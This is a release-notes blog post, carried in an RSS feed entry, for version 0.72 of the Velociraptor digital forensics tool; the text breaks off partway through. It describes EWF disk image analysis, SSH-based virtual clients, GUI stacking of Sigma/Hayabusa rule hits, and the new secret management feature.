      <link>https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72/</link>
      <pubDate>Sun, 10 Mar 2024 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72/</guid>
      <description>&lt;p&gt;I am very excited to announce that the latest Velociraptor release&#xA;0.72 is now available. You can also watch a video walkthrough of this&#xA;post here &lt;a href=&#34;https://www.youtube.com/watch?v=FwmFYmTQxeA&#34; target=&#34;_blank&#34; &gt;https://www.youtube.com/watch?v=FwmFYmTQxeA&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this post I will discuss some of the interesting new features.&lt;/p&gt;&#xA;&lt;h2 id=&#34;version-scheme-update&#34;&gt;Version scheme update&lt;/h2&gt;&#xA;&lt;p&gt;Traditionally Velociraptor followed the GRR version format and that&#xA;has 4 numbers - so we had 0.6.5 and then if we needed to do a patch&#xA;release we would do 0.6.5-1 etc.&lt;/p&gt;&#xA;&lt;p&gt;It turns out this is not compatible with Semantic Versioning exactly&#xA;which needs to have exactly 3 versions: a &lt;code&gt;MAJOR&lt;/code&gt; version, a &lt;code&gt;MINOR&lt;/code&gt;&#xA;version and a &lt;code&gt;PATCH&lt;/code&gt; version. This causes problems with packaging&#xA;systems which expect semantic versioning like that for example &lt;code&gt;RPM&lt;/code&gt;,&#xA;&lt;code&gt;DEB&lt;/code&gt; or &lt;code&gt;MSI&lt;/code&gt;. We also use Semantic Versioning internally to compare&#xA;versions (for example to determine if we should upgrade a Tool&#xA;definition )&lt;/p&gt;&#xA;&lt;p&gt;So in this release we are taking the brave step of conforming with&#xA;Semantic Versioning more correctly and officially dropping the second&#xA;dot to have a &lt;code&gt;MAJOR&lt;/code&gt; version of 0, a &lt;code&gt;MINOR&lt;/code&gt; version of 72 and then&#xA;&lt;code&gt;PATCH&lt;/code&gt; releases after that (starting with 0).&lt;/p&gt;&#xA;&lt;p&gt;That means our next version will be &lt;code&gt;0.72.0&lt;/code&gt; and if we need to release&#xA;patches after the release it will be &lt;code&gt;0.72.1&lt;/code&gt; , &lt;code&gt;0.72.2&lt;/code&gt; etc.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ewf-support&#34;&gt;EWF Support&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor has introduced the ability to analyze dead disk images in&#xA;the past. Although we don&amp;rsquo;t need to analyze disk images very often,&#xA;the need comes up occasionally.&lt;/p&gt;&#xA;&lt;p&gt;While previously Velociraptor only supported analysis of DD images&#xA;(AKA &amp;ldquo;Raw images&amp;rdquo;). Most people use a standard acquisition software to&#xA;acquire the image which uses the common EWF format to compress the&#xA;image.&lt;/p&gt;&#xA;&lt;p&gt;In this release, Velociraptor supports EWF (AKA E01) format using the&#xA;&lt;code&gt;ewf&lt;/code&gt; accessor. This allows Velociraptor to analyze E01 image sets.&lt;/p&gt;&#xA;&lt;p&gt;To analyse dead disk images use the following steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Create a remapping configuration that maps the disk accessors into&#xA;the E01 image. This automatically diverts VQL functions that look&#xA;at the filesystem into the image instead of using the host&amp;rsquo;s&#xA;filesystem. In this release you can just point the&#xA;&lt;code&gt;--add_windows_disk&lt;/code&gt; option to the first disk of the EWF disk set&#xA;(the other parts are expected to be in the same directory and will&#xA;be automatically loaded).&lt;/p&gt;&#xA;&lt;p&gt;The following creates a remapping file by recognizing the windows&#xA;partition in the disk image.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ velociraptor-v0.72-rc1-linux-amd64  deaddisk \&#xA;   --add_windows_disk=/tmp/e01/image.E01 /tmp/remapping.yaml -v&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Next we launch a client with the remapping file. This causes any&#xA;VQL queries that access the filesystem to come from the image&#xA;instead of the host. Other than that the client looks like a&#xA;regular client and will connect to the Velociraptor server just&#xA;like any other client. To ensure that this client is unique you can&#xA;override the writeback location (where the client id is stored) to&#xA;a new file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ velociraptor-v0.72-rc1-linux-amd64  --remap /tmp/remapping.yaml \&#xA;   --config ~/client.config.yaml client -v \&#xA;   --config.client-writeback-linux=/tmp/remapping.writeback.yaml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/ewf.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1698&#34; height=&#34;595&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;ewf.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;allow-remapping-clients-to-use-ssh-accessor&#34;&gt;Allow remapping clients to use SSH accessor&lt;/h2&gt;&#xA;&lt;p&gt;Sometimes we can not deploy the Velociraptor client on a remote&#xA;system. For example, it might be an edge device like an embedded Linux&#xA;system or it may not be directly supported by Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;In 0.7.1, Velociraptor introduced the &lt;code&gt;ssh&lt;/code&gt; accessor which allows VQL&#xA;queries to use a remote &lt;code&gt;ssh&lt;/code&gt; connection to access remote files.&lt;/p&gt;&#xA;&lt;p&gt;This release added the ability to apply remapping in a similar way to&#xA;the dead disk image method above to run a &lt;code&gt;Virtual Client&lt;/code&gt; which&#xA;connects to the remote system via SSH and emulates filesystem access&#xA;over the &lt;code&gt;sftp&lt;/code&gt; protocol.&lt;/p&gt;&#xA;&lt;p&gt;To use this feature you can write a remapping file that maps the ssh&#xA;accessor instead of the &lt;code&gt;file&lt;/code&gt; and &lt;code&gt;auto&lt;/code&gt; accessors:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;remappings:&#xA;- type: permissions&#xA;  permissions:&#xA;  - COLLECT_CLIENT&#xA;  - FILESYSTEM_READ&#xA;  - READ_RESULTS&#xA;  - MACHINE_STATE&#xA;- type: impersonation&#xA;  os: linux&#xA;  hostname: RemoteSSH&#xA;- type: mount&#xA;  scope: |&#xA;    LET SSH_CONFIG &amp;lt;= dict(hostname=&#39;localhost:22&#39;,&#xA;      username=&#39;test&#39;,&#xA;      private_key=read_file(filename=&#39;/home/test/.ssh/id_rsa&#39;))&#xA;&#xA;  from:&#xA;    accessor: ssh&#xA;&#xA;  &amp;quot;on&amp;quot;:&#xA;    accessor: auto&#xA;    path_type: linux&#xA;&#xA;- type: mount&#xA;  scope: |&#xA;    LET SSH_CONFIG &amp;lt;= dict(hostname=&#39;localhost:22&#39;,&#xA;      username=&#39;test&#39;,&#xA;      private_key=read_file(filename=&#39;/home/test/.ssh/id_rsa&#39;))&#xA;&#xA;  from:&#xA;    accessor: ssh&#xA;&#xA;  &amp;quot;on&amp;quot;:&#xA;    accessor: file&#xA;    path_type: linux&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now you can start a client with this remapping file to virtualize&#xA;access to the remote system via SSH.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ velociraptor-v0.72-rc1-linux-amd64  --remap /tmp/remap_ssh.yaml \&#xA;   --config client.config.yaml client -v \&#xA;   --config.client-writeback-linux=/tmp/remapping.writeback_ssh.yaml \&#xA;   --config.client-local-buffer-disk-size=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/ssh.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1703&#34; height=&#34;747&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;ssh.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;gui-changes&#34;&gt;GUI Changes&lt;/h2&gt;&#xA;&lt;p&gt;The GUI has been improved in this release.&lt;/p&gt;&#xA;&lt;h3 id=&#34;inbuilt-stacking-support&#34;&gt;Inbuilt Stacking support&lt;/h3&gt;&#xA;&lt;p&gt;One very common task in DFIR is&#xA;&lt;a href=&#34;https://www.youtube.com/watch?v=nJNMLxmq9w8&#34; target=&#34;_blank&#34; &gt;stacking&lt;/a&gt;. This is a&#xA;powerful technique to quickly understand what had happened on the&#xA;endpoint and what is normal (and by extension unusual) on an endpoint.&lt;/p&gt;&#xA;&lt;p&gt;While Velociraptor has always been able to do stacking within a post&#xA;processing notebook by using the &lt;code&gt;GROUP BY&lt;/code&gt; VQL operator to count the&#xA;number of occurrences broken by category. When the user wanted to&#xA;actually see all those items, they needed to run a second VQL query to&#xA;filter only those items. This made it cumbersome and inefficient to&#xA;review large numbers of groups.&lt;/p&gt;&#xA;&lt;p&gt;In the latest release, stacking is built right into the GUI for fast&#xA;and efficient operation. I will demonstrate how to use it with the&#xA;example of the Velociraptor Sigma artifacts.&lt;/p&gt;&#xA;&lt;p&gt;For this example, assume I approach a new endpoint and I really don&amp;rsquo;t&#xA;know where to start - is this a suspicious endpoint? Is it normal?&lt;/p&gt;&#xA;&lt;p&gt;First I will import the Sigma artifacts into my server. The&#xA;Velociraptor Sigma project maintains this artifact at&#xA;&lt;a href=&#34;https://sigma.velocidex.com&#34; target=&#34;_blank&#34; &gt;https://sigma.velocidex.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/importing_sigma.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Importing the Sigma artifacts&#34;&#xA;         width=&#34;1916&#34; height=&#34;839&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;importing_sigma.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Importing the Sigma artifacts&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I will import the &lt;code&gt;Velociraptor Hayabusa Ruleset&lt;/code&gt; which allows me to&#xA;apply the rules maintained by the &lt;a href=&#34;https://github.com/Yamato-Security/hayabusa&#34; target=&#34;_blank&#34; &gt;Hayabusa&#xA;project&lt;/a&gt; to static event&#xA;log files on the endpoint. The ruleset is extensive and rules are&#xA;broken down by rule level and rule status. However in this case I want&#xA;to try out all the rules - including very noisy ones because I want to&#xA;get an overview of what might have happened on this endpoint.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/collecting_sigma_rules.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Collecting the sigma artifact&#34;&#xA;         width=&#34;1661&#34; height=&#34;604&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;collecting_sigma_rules.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Collecting the sigma artifact&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The Hayabusa ruleset is extensive and might collect many false&#xA;positives. In this case it took around 6 minutes to apply the rules on&#xA;all the event log files and returned over 60k hits from about 4200&#xA;rules.&lt;/p&gt;&#xA;&lt;p&gt;Generally it is impractical to review every single hit, so we&#xA;typically rely on Stacking the results using a query like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT *, count() AS Count&#xA;FROM source(artifact=&amp;quot;Windows.Hayabusa.Rules&amp;quot;)&#xA;GROUP BY Title ORDER BY Count DESC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/group_by.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Stacking rules by title&#34;&#xA;         width=&#34;1275&#34; height=&#34;584&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;group_by.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Stacking rules by title&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We immediately see that almost half the rules are triggered by&#xA;informational DNS queries, but if we wanted to look at those we would&#xA;have to issue another query&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT *&#xA;FROM source(artifact=&amp;quot;Windows.Hayabusa.Rules&amp;quot;)&#xA;WHERE Title =~ &amp;quot;DNS Query&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In this release, stacking is built directly into the GUI making it a&#xA;lot easier to work with. The way this works is by performing the&#xA;stacking operation at the same time as sorting a column.&lt;/p&gt;&#xA;&lt;p&gt;I will stack by Title by clicking the sort icon at the top of the column&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/stacking_a_column.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Stacking rules by title&#34;&#xA;         width=&#34;1210&#34; height=&#34;466&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;stacking_a_column.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Stacking rules by title&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Once the column is sorted, a stacking icon will appear next to&#xA;it. Clicking on that icon will display the stacking dialog view. This&#xA;view shows the different unique values of the selected column and the&#xA;total number of items of that value. In our case it shows the total&#xA;number of times the specific rule has fired.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/viewing_column_stack.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Viewing the stacking stats&#34;&#xA;         width=&#34;1222&#34; height=&#34;562&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;viewing_column_stack.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing the stacking stats&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Clicking the icon in each row seeks the table immediately to view all&#xA;the rows with the same &lt;code&gt;Title&lt;/code&gt; value. In this case I want to quickly&#xA;view the hits from the &lt;code&gt;Windows Defender Threat Detected&lt;/code&gt; rule.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/viewing_common_rows.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Viewing the stacking stats&#34;&#xA;         width=&#34;1200&#34; height=&#34;373&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;viewing_common_rows.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing the stacking stats&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Using this technique I can quickly review the most interesting rules&#xA;and their corresponding hits directly in the GUI without needing to&#xA;recalculate anything.&lt;/p&gt;&#xA;&lt;h3 id=&#34;undoredo-for-notebook-cells&#34;&gt;Undo/Redo for notebook cells&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor offers an easy way to experiment and explore data with&#xA;VQL queries in the notebook interface. Naturally exploring the data&#xA;requires going back and forth between different VQL queries.&lt;/p&gt;&#xA;&lt;p&gt;In this release, Velociraptor keeps several versions of each VQL cell&#xA;(by default 5) so as users explore different queries they can easily&#xA;undo and redo queries. This makes exploring data much quicker as you&#xA;can go back to a previous version instantly.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/undo-redo.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;716&#34; height=&#34;412&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;undo-redo.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;hunt-view-gui-is-now-paged&#34;&gt;Hunt view GUI is now paged&lt;/h3&gt;&#xA;&lt;p&gt;Previously hunts were presented in a table with limited size. In this&#xA;release, the hunt table is paged and searchable/sortable. This brings&#xA;the hunts table into line with the other tables in the interface and&#xA;allows an unlimited number of hunts to be viewable in the system.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/hunt_table.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1702&#34; height=&#34;450&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hunt_table.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;secret-management&#34;&gt;Secret Management&lt;/h2&gt;&#xA;&lt;p&gt;Many Velociraptor plugins require secrets to operate. For example, the&#xA;&lt;code&gt;ssh&lt;/code&gt; accessor requires a private key or password to log into the&#xA;remote system. Similarly the &lt;code&gt;s3&lt;/code&gt; or &lt;code&gt;smb&lt;/code&gt; accessors requires&#xA;credentials to upload to the remote file servers. Many connections&#xA;made over the &lt;code&gt;http_client()&lt;/code&gt; plugin require authorization - for&#xA;example an API key to send &lt;code&gt;Slack&lt;/code&gt; messages or query remote services&#xA;like &lt;code&gt;Virus Total&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Previously plugins that required credentials needed those credentials&#xA;to be passed as arguments to the plugin. For example, the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/other/upload_s3/&#34;&gt;upload_s3()&lt;/a&gt;&#xA;plugin requires AWS S3 credentials to be passed in as parameters.&lt;/p&gt;&#xA;&lt;p&gt;This poses a problem for the Velociraptor artifact writer - how to&#xA;safely provide the credentials to the VQL query in a way that does not&#xA;expose them to every user of the Velociraptor GUI? If the credentials&#xA;are passed as parameters to the artifact then they are visible in the&#xA;query logs and request etc.&lt;/p&gt;&#xA;&lt;p&gt;This release introduces &lt;code&gt;Secrets&lt;/code&gt; as a first class concept within&#xA;VQL. A &lt;code&gt;Secret&lt;/code&gt; is a specific data object (key/value pairs) given a&#xA;name which is used to configure credentials for certain plugins:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A Secret has a &lt;code&gt;name&lt;/code&gt; which we use to refer to it in plugins.&lt;/li&gt;&#xA;&lt;li&gt;Secrets have a &lt;code&gt;type&lt;/code&gt; to ensure their data makes sense to the&#xA;intended plugin. For example a secret needs certain fields for&#xA;consumption by the &lt;code&gt;s3&lt;/code&gt; accessor or the &lt;code&gt;http_client()&lt;/code&gt; plugin.&lt;/li&gt;&#xA;&lt;li&gt;Secrets are shared with certain users (or are public). This&#xA;controls who can use the secret within the GUI.&lt;/li&gt;&#xA;&lt;li&gt;The GUI is careful to not allow VQL to read the secrets&#xA;directly. The secrets are used by the VQL plugins internally and&#xA;are not exposed to VQL users (like notebooks or artifacts).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s work through an example of how Secrets can be managed within&#xA;Velociraptor. In this example we store credentials for the &lt;code&gt;ssh&lt;/code&gt;&#xA;accessor to allow users to &lt;code&gt;glob()&lt;/code&gt; a remote filesystem within the&#xA;notebook.&lt;/p&gt;&#xA;&lt;p&gt;First I will select &lt;code&gt;manage server secrets&lt;/code&gt; from the welcome page.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/manage_secrets.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;911&#34; height=&#34;635&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;manage_secrets.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next I will choose the &lt;code&gt;SSH PrivateKey&lt;/code&gt; secret type and add a new&#xA;secret.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/adding_new_secret.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1273&#34; height=&#34;262&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;adding_new_secret.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This will use the secret template that corresponds to the SSH private&#xA;keys. The acceptable fields are shown in the GUI and a validation VQL&#xA;condition is also shown for the GUI to ensure that the secret is&#xA;properly populated. I will name the secret &lt;code&gt;DevMachine&lt;/code&gt; to remind me&#xA;that this secret allows access to my development system. Note that the&#xA;hostname requires both the IP address (or dns name) and the port.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/adding_new_secret_2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1569&#34; height=&#34;600&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;adding_new_secret_2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next I will share the secrets with some GUI users&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/edit_secret.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1700&#34; height=&#34;259&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;edit_secret.png&#34;&gt;&#xA;      &lt;i 